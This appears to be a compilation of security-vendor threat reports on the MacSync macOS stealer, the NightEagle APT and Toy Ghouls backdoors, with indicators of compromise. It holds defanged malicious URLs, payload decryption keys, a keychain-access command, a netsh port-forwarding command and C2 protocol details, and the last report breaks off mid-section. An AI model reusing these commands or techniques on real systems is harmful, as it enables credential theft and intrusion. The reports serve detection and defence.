C:\ProgramData\Dell\mscoree.dll
C:\ProgramData\Dell\Dell1.tmp
C:\ProgramData\Dell\Dell3.tmp
C:\Windows\System32\RasConv\mscoree.dll
C:\Windows\System32\RasConv\ActivationStore.dat
C:\Windows\System32\DrvConh\mscoree.dll
C:\Windows\System32\DrvConh\ActivationStore.dat
C:\Program Files\Common Files\System\msadc\msadc.inc
C:\ProgramData\desktops.ini

C2 servers

javadevhouse.co[.]kr
pythonapischool[.]com
hxxps://cubedesign[.]co[.]kr/news            C2 of Cubridge
hxxps://cubedesign[.]co[.]kr/mobile/fashion            C2 of Cubridge
hxxps://fp-news[.]co[.]kr/shop/cart                                C2 of Cubridge
hxxps://k-wbc[.]co[.]kr/skin/social/social_view.php         C2 of ClientHub
hxxps://rcsh[.]co[.]kr/modules/bbs/tiles/bbs_div/inputForm.php    C2 of ClientHub
hxxps://www[.]ksog[.]org/insert_file/handle.php                   C2 of ClientHub

  •  

MacSync under the microscope: new delivery methods and a new payload

MacSync is a relatively young, rapidly evolving family of crypto/info stealers. First advertised on the dark web in 2025 as Mac.c, the stealer was later renamed to MacSync by its creators. The initial versions were implemented as AppleScripts and closely resembled the AMOS stealer family, but over time, MacSync developed distinctive features of its own, including a backdoor module. In this report, we discuss a new infection chain that differs significantly from previous variants. We first spotted it in the wild in September 2026.

Key points:

  • The developers of this family have overhauled their approach to payload delivery by replacing script-based droppers with binary ones.
  • The main malicious payload now consists of modules written in Objective-C and Swift.
  • At one stage of infection, the attackers use iCloud to deliver the next

Kaspersky solutions detect the threats described below under the following verdicts:

  • HEUR:Trojan.OSX.MacSync.*
  • HEUR:Trojan-PSW.OSX.MacSync.*
  • HEUR:Trojan-Dropper.OSX.MacSync.*
  • HEUR:Trojan-Downloader.OSX.MacSync.*

Technical details

Infection chain

MacSync is an infostealer distributed under the malware-as-a-service (MaaS) model, so the specific delivery method for the first stage of the infection chain is up to the operators. Recent public reports on MacSync have mostly focused on modules delivered through social engineering and ClickFix-style attacks. However, both then and now, the malware has also spread disguised as free or cracked versions of popular applications, as well as under the guise of new software. For example, we found MacSync masquerading as a nonexistent crypto wallet app called Toria; the attackers not only created a dedicated web page for it but also promoted it on X and Telegram:

The latest version of the infostealer we discovered starts the infection chain with malicious DMG images. Even within a single campaign built around one fake application, we found two different ways the infostealer and backdoor modules were delivered to the victim’s device. In one, the payload inside the DMG was a compiled JXA script that, once launched, decoded a shell script and passed it directly to the interpreter without writing it to disk. In the other version of the application, the same script appeared at a later stage of infection, after a chain of droppers and loaders had run. We’ll take a look at the second infection chain in detail, since it is more complex and technically interesting. The infection scheme is shown below:

It’s worth noting right away that MacSync shows shared traits at almost every stage:

  • All temporary files are placed in the /tmp directory. The same directory is where *.lock files are created to prevent the malware from running again.
  • Once its task is complete, the module removes traces of its activity: temporary files, its own logs, and so on.
  • All binary files are in the FAT Mach-O format and target devices with both Apple and Intel processors.

Loader, Calendar, and Two Simple Droppers

In this infection chain, the payload on the disk image is an .APP application. When started, it first checks whether the whole bundle has the com.apple.quarantine extended quarantine attribute, and if it finds one, it runs the xattr -cr <app_name> command to remove all attributes. Next, it extracts an XOR-encrypted URL from its overlay and decrypts it with the key 73 6f 6e 6f 6d 61 62 6c 64 07. After the encrypted data, there are 8 bytes indicating the length of the ciphertext, followed by the magic word SONOMAC1. It’s worth noting that the malware reads the overlay backwards: it first locates the magic word, then reads the data size, and then uses the size to determine the boundaries of the data block containing the ciphertext.

The resulting URL is a link to the next-stage downloader script. In some cases, this link pointed directly to a file hosted on an attacker-controlled server; however, in at least one sample, the link pointed to a public iCloud calendar:

hxxp://caldav.icloud[.]com/published/2/MTk1NDMwMDMzNTUxOTU0M1aHCZ-nMxiyGzBTzPiodOf44DtKJ6PpjftAG28_ui2NCYMpL_vu4pF4ddsJ8ysg0QI7pR0VEIEbZYdilVZRw08

Contents of the downloaded calendar

Contents of the downloaded calendar

After retrieving the calendar file from the server, the downloader creates an anonymous pipe, launches the interpreter to read commands from standard input (zsh -s), sets the pipe as standard input, and redirects the contents of the calendar into it line by line. Since a calendar is normally not a command, the interpreter treats the lines as invalid commands until it reaches the malicious payload after the DESCRIPTION: line. These commands ultimately download a .TAR.GZ archive from iCloud that contains an .APP bundle. The downloader removes the quarantine attribute from it, signs it with an ad-hoc signature, and executes it.

We don’t know the contents of the scripts distributed from the attacker’s server, but they are very likely the same script found in the calendar event description.

The downloaded application is a dropper. The malicious payload it extracts is a zlib-compressed executable encrypted with AES in CBC mode, using the following key and initialization vector:

cb09ff86cabde4f8cee2d3cdec370c623bfa6c2b72ae9750fc9a7b299c65d7ca
3a1af2b397c6958e6c3ba3c75912d60e

The dropper decrypts and unpacks it, then places it at /tmp/.sys-<16-digit random value>.

Inside is another dropper, but unlike the previous stages, this one includes anti-debugging protection. In particular, it checks whether it’s running on a virtual machine by making sysctl queries with the kern.hv_vmm_present and machdep.cpu.brand_string parameters. It also sets the PT_DENY_ATTACH flag with ptrace to prevent a debugger from attaching to the process. The payload is a shell script encrypted with AES in CBC mode, using the following key and initialization vector:

3744f975113dfc552df982dcae699f9154a448e05a743bdfb641a463352bc13a
8d371f8a7a6dcc2655544ae13cbca03d

Payload of the second dropper

Payload of the second dropper

As shown in the screenshot above, the second dropper delivers a downloader script that retrieves the next-stage payload from the command-and-control server, decrypts it with AES in CBC mode using the following key and initialization vector, and then executes it in memory:

ff664112d3215c5d184689fc836e0dc6c1a47e42c34e70b2c3d356864bc4cb4c
09425f72de8bba18893dcd6f04115891

A couple more scripts

Inside the retrieved script, we can immediately spot several familiar indicators associated with the MacSync malware family:

  • The main function in the script is named daemon_function.
  • The stolen data is uploaded to the command-and-control server via PUT requests. The data in the requests is sent in 90-megabyte chunks. In earlier versions, the chunk sizes differed.
  • One way to establish persistence on a system it uses is to inject a malicious command into the .ZSHRC, the configuration file for the ZSH interpreter, which contains commands that run each time the interpreter starts.
  • The URL path where the backdoor executable is stored on the command-and-control server begins with the /loader/ directory.

The script performs the following tasks:

  • Downloading and decrypting additional malicious modules: an infostealer, a backdoor, and a special utility for generating encryption keys and decrypting downloaded executable files
  • Gaining persistence on the system
  • Uploading data received from the infostealer module to the command-and-control server

One detail stands out: instead of the usual encryption algorithms (XOR, AES, and so on), the attackers took a different approach to delivering malicious modules at this stage. It involves a selfmade utility called pkgunpack that implements two commands: genkey and decrypt. The malicious payload is decrypted as follows:

  1. The malware generates a public and private encryption key pair using genkey command from pkgunpack, whose generation function relies on an open implementation of the elliptic-curve Diffie-Hellman protocol on Curve25519: curve25519_donna.
  2. The public key is encoded in base64 and sent to the command-and-control server together with a one-time code generated by the command $(date +%s)-${RANDOM}-$$.
  3. The server responds with the following JSON:
    {
        "ok": true,
        "dek_wrap_b64":  <base64_encoded_encrypted_key> ,
        "build_pub_b64": "pFSxn/Uwg9bS45aVKCzA+8exSMfDHXpbpHC/f7G472w=",
        "crypto": "v2.5"
    }

    Here, build_pub_b64 is the server’s public key, which is also predefined in the script itself, and dek_wrap_b64 is a base64-encoded string that contains the payload encryption key. This key is encrypted on the server side with a shared secret computed from the public key generated with pkgunpack on the victim’s device.
  4. Then decrypt command from pkgunpack utility decrypts the key:
    1. A shared secret is computed from the server’s known public key and the private key for the current session, using the same ECDH Curve25519 key exchange scheme that was used to generate the keys.
    2. The resulting shared secret is concatenated with the string sn-dek-wrap-v1, and a SHA-256 hash is computed from the result.
    3. Next, the dek_wrap_b64 block received from the server is decoded. It has the following structure:
      1. The first 5 bytes: additional authenticated data (AAD)
      2. The next 12 bytes: the initialization vector (IV)
      3. The rest: the ciphertext
    4. The ciphertext is decrypted with AES in GCM mode using the previously obtained key, IV, and AAD.

      Decoded dek_wrap_b64

      Decoded dek_wrap_b64

  5. The result is the key for decrypting the downloaded malicious payload. The payload, in turn, also contains an AAD and an IV in its header and is encrypted with AES GCM. The utility decrypts it and terminates.

Note that at each individual stage, the utility zeros out buffers after using encryption keys and data, apparently to impede forensic data collection and dynamic analysis of samples.

As mentioned earlier, at this stage, the script downloads only two modules: an infostealer and a backdoor. Once decrypted, both are .TAR.GZ archives; their contents are extracted, stripped of all extended attributes (such as com.apple.quarantine), and signed with an ad-hoc signature. The infostealer module runs first: it collects the data it needs, places it in a temporary folder, and compresses it into a .TAR.GZ archive, which the script then sends to the attackers’ server. Next, before launching the backdoor, the script sets up persistence for it and creates a backup copy. The backup copy, along with the other files it needs to operate, is placed in $HOME/Library/Application Support/System. This directory doesn’t exist in macOS by default; the script creates it. The backdoor disguises itself as the Finder application and achieves persistence in the system through the following methods:

  • A LaunchAgent named com.apple.finder.agent
  • Injection of a command that runs the .repair-run script when the ZSH interpreter starts from the .ZSHRC
  • Injection of a similar command, which also runs the .repair-run script, into the global GIT pre-commit and post-checkout hooks

The .repair-run script checks whether the backdoor files exist, restores them from a backup if they are missing, and re-creates and reloads the LaunchAgent. At the same time, it kills the BTMNotificationAgent, NotificationCenter, and BackgroundTaskManagementAgent system processes to prevent the system from notifying the user about the new LaunchAgent.

One last thing worth noting about the script at this stage is its use of a custom HTTP header, X-Upload-Token, without which the C2 server responds to requests with errors. During our research, we observed the use of the following tokens: b8b4b88205a8f594b95a841bc37342898f34cad8a5a9e4a22ce69a31a1208650 and ff3ab9ef841630364818396f62e696b72aed162cf0b895b6643ef25dad79b51d. The backdoor later uses these same tokens to communicate with the C2 server.

Infostealer

The infostealer module ships as an .APP application, with its main executable written in Swift. As with previous AppleScript-based versions, the malware first asks the user for the administrator password. It adapts the window it displays to match the application it is impersonating. After the password is entered, the user sees a window that imitates a system notification about a corrupted application, offering to move it to the trash.

Fake stealer pop-up windows

Fake stealer pop-up windows

Interestingly, instead of the method most macOS malware families use to verify a password, the dscl utility, the attackers used the Pluggable Authentication Modules (PAM) API. This is a fairly new technique for macOS malware, first observed in the wild in July 2026 in the Pam Stealer family. It apparently caught the attention of malware authors, and we may see it used more often going forward.

Password verification with PAM

Password verification with PAM

Many strings in the stealer (file names, directory names, team IDs, and so on) are XOR-encrypted and stored in static arrays. The encryption keys differ between samples and are generated based on the ciphertext length.

String decryption

String decryption

The set of data the stealer collects has expanded slightly compared to previous versions. The generalized list is as follows:

  • Browser data: browsing history, cookies, crypto wallet extension data, saved logins and passwords, and Local State files
  • Crypto wallet application data
  • Telegram data
  • Device login and password
  • Keychain file
  • System information: list of installed applications and running processes, device model, hardware, UUID, and so on
  • Configuration files for SSH, ZSH, AWS, Kubernetes, GIT, and other services/programs
  • ZSH and Bash command history
  • Current user profile picture

The collected data is saved to a hidden directory in /tmp/.

The stealer module also has one interesting feature, disabled in all samples discovered so far and apparently still in development. Its purpose is to check whether the malicious application’s resources contain a file called KcHelper at <app_path>/Contents/Resources/Helpers, and, if the file is present, launch it with certain parameters. If this file is missing, a fallback function, _kc_grab_storage_item, is executed instead. Since KcHelper was not present among the application’s resources at the time of our research, we can only speculate about its purpose based on our analysis of this function. It first runs a command that modifies the partition_id of the keychain entry for a specific service so that three categories of applications can access it without user confirmation and without the keychain password:

  • teamid: the application is signed with a certificate that has a specific teamID (in this case, the target application’s developer)
  • apple: the application is an Apple service
  • apple-tool: the application is an Apple command-line utility

security set-generic-password-partition-list -a <account_name> -s <service_name> -S <application_groups> -k <keychain_password> <keychain_path>

The stealer then uses the Security.framework API to try and retrieve the secret’s contents on its own, which still ends up triggering a confirmation request for the operation. It appears the threat actors plan to refine this feature in the future to gain unimpeded access to secrets even if the keychain password changes, but at this point, they haven’t managed to do so, which is why the feature is disabled. In the stealer’s encrypted strings, we saw examples of arguments for the command that modifies partition_id, which indicate that the attackers are after browser secrets. Example:

Chrome Safe Storage|Chrome|ChromeStorage|apple-tool:,apple:,teamid:EQHXZ8M8AV
Brave Safe Storage|Brave|BraveStorage|apple-tool:,apple:,teamid:KL8N8XSYF4

Code section responsible for changing access to keychain services

Code section responsible for changing access to keychain services

Backdoor

The backdoor is a Fat Mach-O executable written in Objective-C. It has two launch modes: a regular one and one with the --persist-status flag. In the second mode, it only checks how it was added to the persistence objects: as a Login Item or as a LaunchAgent. In standard mode, before proceeding to its main functionality, the backdoor also checks whether it has been added to autorun in any way. If not, it uses the same persistence mechanism as the parent script. However, for macOS versions older than 13.0, a separate helper executable stored inside the backdoor’s body is used regardless of whether autorun objects are present. The helper performs a single task: it uses the CoreServices.framework API to add the executable file passed to it as an argument to the Login Items.

As with the droppers from the early stages of the infection chain, the configuration for communicating with the C2 is stored in the executable’s overlay and encrypted with XOR using the same key. It consists of several strings separated by null bytes:

  • AGNT1: a magic constant confirming that the configuration was decrypted correctly
  • C2 server URL
  • Access token: the same one used in the parent script
  • BLD-150: the backdoor build number

The malware also writes logs to $HOME/Library/Logs/.sysnotif-agent.log and supports extended logging when launched with the LAUNCHER_DEBUG environment variable. Communication with the C2 takes place over HTTP. The server’s response should be a JSON file.

Method URL path Request parameters Description
GET /v1/agent/ping
  • tag: the victim’s unique ID combined with the backdoor build number
  • build: backdoor build number
Used to receive a command. The response is expected to contain a cmd field with the command to execute. If a 403 error is received, meaning the access token has expired, the backdoor tries to refresh it with a request to /v1/agent/refresh.
POST /v1/agent/refresh
  • tag
  • build
  • old_token: previous token
The response is expected to contain an upload_token field, whose value becomes the new token.
POST /v1/asset/<upload_id>/init
  • upload_id: an identifier for the object being uploaded, generated randomly based on a timestamp, the process ID, and a random four-byte number
Used to create a file on the server, into which the file from the victim’s device is later uploaded in parts. When the file is created, its size is passed in the X-File-Size header, and its SHA-256 hash is passed in X-File-Sha256.
PUT /v1/asset/<upload_id> The request that actually uploads the file to the server.
POST /v1/agent/<command_status>
  • command_status: a status unique to the commands the agent executes
  • tag
  • upload_id: the ID of the file uploaded to the server (if any)
  • phase: information about the command being executed or its stage
  • message: a message
  • active: command in-progress flag (true = still running; false = finished)
This URL endpoint is accessed at various stages of the backdoor’s operation. Information about command execution status serves as a telemetry source for the attackers.

Although the backdoor offers several different commands, they all boil down to the same action: extract the base64-encoded AppleScript script from the script_b64 field in the server’s response and execute it. Individual command handlers then act as wrappers around the scripts, correctly populating telemetry and sending requests to the C2 server. Based on the command names and the messages sent to the server during their execution, we can reconstruct their purpose without having the scripts on hand. The backdoor supports the following commands:

  • deploy_ext: deploy an extension downloaded from the server into the victim’s browser.
  • deploy_ledger: replace the installed Ledger wallet with the version from the server.
  • regrab: collect system information and/or specific files again. This time, the collected data is packaged into an archive typical for the MacSync family, at /tmp/osalogging.zip, unless a different path is specified in the archive_path field sent along with the command.
  • live_browser: the only command executed without an AppleScript script. The backdoor checks for the presence of the sn_relay file among its resources, and if it’s not found, downloads and executes it. Its content and purpose remain a mystery to us, but based on the command name and the messages sent to the server, we can assume that the attackers somehow implement a MitM attack on traffic originating from the victim’s browser.
The section of the regrab command where the archive's integrity is verified and its hash is calculated before it is sent

The section of the regrab command where the archive’s integrity is verified and its hash is calculated before it is sent

Takeaways

The new version of the MacSync infostealer differs quite significantly from its previously observed variants. The attackers have substantially overhauled their approach to executing the stealer’s and backdoor’s main malicious payload, moving from AppleScripts to full-fledged executable files written in Swift and Objective-C. It’s also worth noting the more complex infection chain: instead of obfuscated shell scripts delivered through ClickFix attacks, this version used binary droppers and loaders, some of which leveraged Apple’s infrastructure as one of the intermediate stages for delivering the malicious payload.

The nature of the data attackers seek to collect from a victim’s device, as well as the categories of applications the stealer disguises itself as, clearly indicates that this malware family primarily targets developers, crypto enthusiasts, and other users associated in some way with IT and the crypto space. MacSync’s compromise of software developers’ devices poses particular security risks for both end users and corporate systems, opening up expanded opportunities for attackers to further their intrusion.

Indicators of compromise

Stage one loader
26a0f7cdb9f7dc5ace9a40af825b1538
2d69812584269699fade26622e6490c5
7df1049cbd56c0bfa4a3364a379b4c2c
9f15fe9c4415cd668334339f705b94d8
fb90887592655a8c989e443c640167aa
6791dad263cac6d63ebba6a4b57e7d71

Malicious calendar (stage two)
3ded1d71a822b53b12c3b67bcaf633f5

Stage three dropper
781ce50001d4b449600afa347c9b0208
8e84b01d5ac9624f0b181ade0e737193
980e2134679bc0c609f7659882883d77
4203ec932bfcc0907f91732440d6d997
eb760d5c88f13f7ee0f8f86ba3407123
f9f70096aabb4d22a6657014f4853a53

Stage four dropper
3deeed48fd38f22e369f5c3092bd68a1

Stage five script
f97d24212fa6a21be0c4d211e10f044c

Stage six script
00d12d842596bf5ee1805effb4571d30
9a0043d900a9ac78c886c59c9a328fd0

Auxiliary .repair-run script
7212229c85852c3bffaf9740002b2f39

Infostealer
c53d0ea45dbc622afb7f16ea3eec78bc

Backdoor
fc3ba5ed282d77127efd0b0f2403531b

Auxiliary autorun tool
8dc8561349d144d4661bc66f2ec49f9f

URL
hxxps://toria[.]app/
hxxps://warpcast[.]asia/Toria.dmg
hxxps://streamyard.appstore.com[.]mx/installer.sh
hxxps://slack.apple03cloudstore[.]com/installer.sh
hxxps://toria.apple03cloudstore[.]com/
hxxps://waaako.appstore.com[.]mx/installer.sh
hxxps://toria.apple03cloudstore[.]com/e3c1a6b00bc31e14/stage2.enc hxxps://docsend.appstore.com[.]mx/dcc737d157ef4271/stage2.enc
hxxps://docsend.appstore.com[.]mx/dcc737d157ef4271/CoreUpdate.pkg.enc
hxxps://docsend.appstore.com[.]mx/dcc737d157ef4271/Helper.pkg.enc
hxxps://caldav.icloud[.]com/published/2/MTk1NDMwMDMzNTUxOTU0M1aHCZ-nMxiyGzBTzPiodOf44DtKJ6PpjftAG28_ui2NCYMpL_vu4pF4ddsJ8ysg0QI7pR0VEIEbZYdilVZRw08
hxxps://gateway.icloud[.]com/caldav/1_MTk1NDMwMDMzNTUxOTU0M0pybtJB186GzhogprwCQUjY3oZNiDFHH8WVo6bmgUtI/attach/4GE4TKNBTGAYDGMZVGUYTSNJUGOAALDAFMDOJBGWNUCYJLZRNDCLCO2YMQ3I64RLGMNXVG3KYBPWQOGYIEI7MPBDDYHECFDYVENTXIYFNDCPOVRMCTYI236RCYZAE63V5U3RTUYGUMO2CO7PKCLWMCXE73M7OPTHSGRWH5DXQ4PCUQU4ELZTLW54JSTK2H7VQ6PD26WOA2R7PPIQ6RTJWDEWP34U3HB4YWMXXC6EJ6PKWILSPYRSDEVY6QGMWSIUN6PR5W35KO3D4QZE7CFPUVBAEKI/Loader.app.tar.gz/YXR0YWNoYXR0YWNoYXR0YRhrE8mQ0E-b_dTUSGStQgTQ0ULFxCanei3Ke-EuEyQL

C2
hxxps://docsend.appstore[.]com[.]mx
hxxps://toria.apple03cloudstore[.]com

  •  

NightEagle targets Russian companies

Over the past year, our Global Emergency Response Team (GERT) has investigated several incidents involving the NightEagle group (also tracked as APT-Q-95). This group has been active since at least 2023 and originally focused on organizations in Asia. We have now identified attacks by the group targeting businesses in Russia. This post examines both known and new tools NightEagle used in its latest campaign.

Initial access

In most incidents, the attackers used compromised valid credentials to gain access to corporate VPNs. VPN connections originated from IP addresses in the Russian segment linked to Cloudflare WARP tunnels, as well as from IP addresses associated with European virtual infrastructure providers.

GhostContainer on Microsoft Exchange

Both during the initial access stage and as the attack progressed, the attackers deployed the GhostContainer backdoor on Microsoft Exchange servers. It incorporates components from several open-source projects, including the Neo-reGeorg tunnel, an exploit for the CVE-2020-0688 vulnerability, and the GhostWebShell class from the ysoserial utility. All of these components are publicly available on GitHub.

We were unable to determine the exact method the attackers used to deliver the backdoor to Microsoft Exchange servers. We believe with a high degree of confidence that they applied a technique already familiar to us: extracting the cryptographic keys used by Microsoft Exchange from the ASP.NET configuration, overwriting the VIEWSTATE framework parameter, and injecting a payload into it, which then launched the GhostContainer backdoor in memory.

The backdoor is a .NET assembly containing three classes that implement its core functionality:

  • Stub: processes C2 commands delivered to the infected system through the x-owa-urlpostdata headers and evades detection by the Antimalware Scan Interface (AMSI) and Windows Event Log mechanisms by overwriting addresses in amsi.dll and ntdll.dll.
  • App_Web_843e75cf5b63: accepts the fakePath and fakePageName parameters and creates virtual paths that redirect requests to the App_Web_8c9b251fb5b3 class.
  • App_Web_8c9b251fb5b3: implements network traffic redirection (proxying) and socket forwarding functionality.

Kaspersky products detect the GhostContainer backdoor as Trojan.MSIL.GhostContainer.gen.

GhostContainer samples identified by the Similarity technology from Kaspersky Threat Analysis

GhostContainer samples identified by the Similarity technology from Kaspersky Threat Analysis

Traffic redirection

Once the attackers gain sufficient privileges during an attack, they leverage RDP to move laterally within the internal network segment. To do this, they download and run tools for tunneling and redirecting network traffic.

The attackers used GitHub repositories to host their archived tools. The names of the repositories and archives were disguised to look legitimate:

  • https://github[.]com/mirror-js/mirror-js/refs/heads/main/js/js-webpack.zip
  • https://github[.]com/mirror-js/mirror-js/refs/heads/main/js/jsonp-pack.zip
  • https://github[.]com/browserthemes/resourcepack/releases/download/main/resource-pack.zip
One of the repositories used for storing network tools

One of the repositories used for storing network tools

The files contained within the archives were also given names mimicking known legitimate software, though unrelated to the archive names:

  • adobe_32.exe;
  • AdobeSync.exe;
  • trueconf.exe;
  • 1cbroker.exe;
  • 1c-office-plugin.exe;
  • trueconf-broker.exe.

Across the incidents we investigated, we found two tools that the attackers combined for traffic tunneling.

  1. Microsoft dev tunnels
    This is a legitimate Microsoft mechanism that allows local web services to be published for internet access on *.*.devtunnels.ms domains. The attackers used this tunneling capability to expose port 3389 (RDP) on the compromised system.

    Execution graph of adobe_32.exe in Kaspersky Research Sandbox

    Execution graph of adobe_32.exe in Kaspersky Research Sandbox

  2. rdp2tcp
    This is a publicly available tool for tunneling TCP traffic over an established RDP connection. It includes a server component that runs on the target system and a client component that runs on the attacker’s side.

    When virtual channels are opened and closed, corresponding events with IDs 132 (channel opened) and 148 (channel closed) are logged in the Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational.evtx Windows log. These events contain the names of the channels (such as XPSRD, cliprdr, Microsoft::Windows::RDS::DisplayControl, and others) used by the RemoteFX module, which extends the capabilities of the RDP protocol.

    When the rdp2tcp tool is used, events with IDs 132 and 148 will contain the channel name rdp2tcp or other random alphanumeric combinations chosen by the attackers.

    Creation event for a channel named rdp2tcp (server component startup)

    Creation event for a channel named rdp2tcp (server component startup)

The combination of Microsoft dev tunnels and rdp2tcp allows the attackers to maintain network access by using legitimate services without opening additional suspicious ports.

The attackers also used the atexec utility from the Impacket toolkit to create scheduled tasks on target systems. These tasks enabled network port forwarding through standard Windows functionality:

netsh interface portproxy add v4tov4 listenport=443 connectaddress=10.0.12.101 connectport=445

Lateral movement

To obtain elevated privileges and move laterally through the network, NightEagle exploited various vulnerabilities in Active Directory. The attackers used previously established tunnels to connect to internal infrastructure systems.

In one incident, they exploited a well-known RDP implementation vulnerability, CVE-2019-0708 (BlueKeep). They used the vulnerable mechanism to create a local account on the system and add it to the Administrators and Remote Desktop Users groups.

Contents of a system memory dump showing artifacts of the CVE-2019-0708 exploit

Contents of a system memory dump showing artifacts of the CVE-2019-0708 exploit

The attackers also requested Kerberos tickets with a non-standard combination of flags (Forwardable, Proxiable, Renewable) and attempted to replicate the Domain-Password object from the Active Directory database to impersonate the domain controller (a technique known as DCSync) after obtaining an account with sufficient privileges.

Through these methods, the attackers establish persistence in the infrastructure, obtain password hashes for domain accounts, use long-lived Kerberos tickets to gain legitimate access to target resources, and ultimately compromise domain controllers and the victim’s entire Active Directory infrastructure.

Takeaways

To expand the geographic scope of its targets, NightEagle is updating its methods and adopting new techniques for persistence and lateral movement. Despite the group’s efforts to stay hidden, timely detection of anomalies combined with a comprehensive approach to infrastructure protection can significantly hinder the attackers from achieving their goals. Since the attackers rely on known legitimate tools and infrastructure vulnerabilities, well-configured monitoring can help detect NightEagle’s presence on the network.

Detection by Kaspersky solutions

Kaspersky solutions reliably identify the malicious activity described above at various stages of the attack. We showed examples above of how Kaspersky Threat Analysis detects samples of the GhostContainer backdoor and the tunneling utility. This toolkit also includes the analytical solution Kaspersky Threat Attribution Engine (KTAE), which helps SOC analysts and incident responders determine which APT groups malware can be attributed to. The solution uses a proprietary comparison method that measures the similarity between analyzed samples of suspicious files and known malicious samples in Kaspersky’s collection.

The backdoor we discovered showed similarity to previously analyzed GhostContainer samples and a connection to the NightEagle APT group:

Backdoor analysis with KTAE

Backdoor analysis with KTAE

However, detection scenarios for this kind of attacks are not limited to file analysis. Deploying a backdoor on a target host produces numerous characteristic artifacts, which allow Kaspersky Endpoint Detection and Response Expert to alert users to anomalies in the infrastructure in a timely manner.

This malicious activity is detected by the following rules, available in the repository:

Process tree in KEDR Expert

Process tree in KEDR Expert

Kaspersky Anti Targeted Attack (KATA) detects this malicious activity in network traffic. For example, the Exploit.CVE-2019-0708.TCP.C&C signature allows detecting attempts to exploit the CVE-2019-0708 (BlueKeep) vulnerability.

Alert card for the BlueKeep vulnerability exploitation

Alert card for the BlueKeep vulnerability exploitation

Beyond this activity, KATA also detects other NightEagle actions in network traffic, such as the following:

  • Traffic redirection and tunneling variations
  • Attacks on Active Directory (DCSync, attempts to compromise AD CS, and others)
  • Lateral movement across the network

Indicators of compromise

1dcafb7f8448683281106b06dd22409a AdobeSync.exe
1f3034b706c78b35d8e34044e68c693a adobe_32.exe
3ecd1cd627d0340c92901a478a7caad8
631fb131a56caf4ca0f287ed73e876ab
App_Web_Container_1.dll
4aa9fb1bf9223dfcdac920759bc7a3c7 1c-office-plugin.exe, 1cbroker.exe, trueconf.exe
https://github[.]com/mirror-js/mirror-js
https://github[.]com/browserthemes/resourcepack

  •  

Angry Birds: Toy Ghouls’ new toys

Introduction

We continue tracking the activity of Toy Ghouls (also known as Bearlyfy, Laboo.boo, and Feral Wolf), a financially motivated group that has been targeting Russian organizations since 2025. The attackers initially relied exclusively on tools pulled from public GitHub repositories along with leaked Babuk and LockBit ransomware builders, later shifting to their own custom ransomware, GenieLocker. In early July 2026, we observed the group using a custom backdoor for the first time.

We identified two versions of this backdoor: one uses the HiveMQ MQTT broker as its C2 server, while the other relies on the Element messenger. Both versions include “bird” in their names:

  • mqtt-bird-agent 0.1.0 (HiveMQ version)
  • matrix-bird-agent 0.1.0 (Element version)

This post examines how the backdoor is delivered to target systems, how it establishes persistence, and how it communicates with its C2 server.

Technical details

Delivery

In this campaign, the attackers use Windows Remote Management (WinRM) to deliver the backdoors and their configuration files to compromised systems. The group relies on open-source tools such as Evil-WinRM and WinRM-fs to do this.

Installation

The backdoor can both run within an interactive command-line session and establish persistence as a Windows service, using the --install or install option, depending on the backdoor version. The --service (or service) option is not available by default and is instead used as an argument for the installed Windows service.

Other launch options are listed in the backdoor’s help output:

C:\cplsupport.exe -h
Bird Agent - MQTT server monitor
Usage: cplsupport.exe [OPTIONS]

Options:
-c, --config <CONFIG> Path to config.toml config file
--install Install as a system service
--uninstall Uninstall the system service
--seal Encrypt sensitive config fields in-place using a machine-bound key
-h, --help Print help
-V, --version Print version

HiveMQ version backdoor help output

In the Element version, the backdoor help output looks as follows:

C:\wtass.exe -h
Matrix monitoring agent

Usage: wtass.exe [OPTIONS] [COMMAND]

Commands:
  install    Register this agent with the Matrix homeserver and panel
  uninstall  Remove this agent's service and credentials
  service    Run as a Windows service (internal)
  help       Print this message or the help of the given subcommand(s)

Options:
  -c, --config <CONFIG>
  -h, --help             Print help
  -V, --version          Print version

Element version backdoor help output

By default, the backdoor looks for a config.toml configuration file in the directory where the executable was launched, then falls back to %PROGRAMDATA%\SynapseAgent\config.toml (Element version) or %PROGRAMDATA%\cplsupport\config.toml (HiveMQ version). If no configuration file is found in either location, the full path can be specified using the -c (--config) option.

The backdoor accepts both unencrypted configuration files and files with partially encrypted sections. In the first case, once the backdoor is launched, it reads the file and partially encrypts it using the seal() function (the --seal option in the HiveMQ version), applying the ChaCha20-Poly1305 algorithm with a key derived from the value of the HKLM\Software\Microsoft\Cryptography\MachineGuid registry key. This means that after the backdoor’s first run, the configuration file becomes bound to that specific machine. On subsequent runs, the configuration is decrypted automatically. If the input configuration was already partially encrypted, it is likewise decrypted automatically.

If the configuration cannot be decrypted, the backdoor stops running.

Encrypted configuration files look as follows:

Encrypted backdoor configuration file, HiveMQ version

Encrypted backdoor configuration file, HiveMQ version

The encrypted portion of the HiveMQ version’s configuration contains the following parameters:

  • agent_privkey: the agent’s private key
  • channel_id: the channel identifier used to communicate with the broker
  • server_pubkey: the server’s public key
Decrypted blob field in the HiveMQ version's configuration

Decrypted blob field in the HiveMQ version’s configuration

In the Element version, the configuration file is deleted immediately after the first run, and the relevant parameters are instead written to the HKLM\Software\synapse\Config\SealedConfig registry key. On subsequent runs, the backdoor checks the registry for its configuration first.

Decrypted Element version configuration file, retrieved from the registry

Decrypted Element version configuration file, retrieved from the registry

The Element version’s configuration specifies the address of an Element server controlled by the attackers, a room identifier, and an access_token used to access that room. If this parameter is left empty, the backdoor prompts for the password interactively during installation. After successfully creating a session, the backdoor saves the received token to the blob field.

Communication

At startup, both backdoor versions send a GET request to http://ip-api.com/json to determine the system’s public IP address and country of origin.

The first version uses the public HiveMQ MQTT broker (broker.hivemq.com) as its C2 server. The free tier of this broker supports up to 100 concurrent connections and up to 10 GB of traffic per month. The attackers set up their own cluster and used it both to collect telemetry from compromised systems and to send commands to the backdoor.

  • Once a connection is established, the system’s status is sent via a POST request to broker.hivemq.com:8883/[cluster_id]/status. The message format is: {"online":bool,"hostname":"hostname.domain","timestamp":unix_timestamp,"location":{"json"}}.
  • At intervals defined in the configuration file, system information, such as CPU load and available memory, is sent via a POST request to broker.hivemq.com:8883/[cluster_id]/metrics3. The message format is: {cpu_percent":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m":float,"load_5m":float,"load_15m":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
  • The backdoor sends GET requests to broker.hivemq.com:8883/[cluster_id]/cmd/req to retrieve commands from the C2 server. The server responds in the format: {"cmd_id":int,"command":"str","timeout_secs":int}.
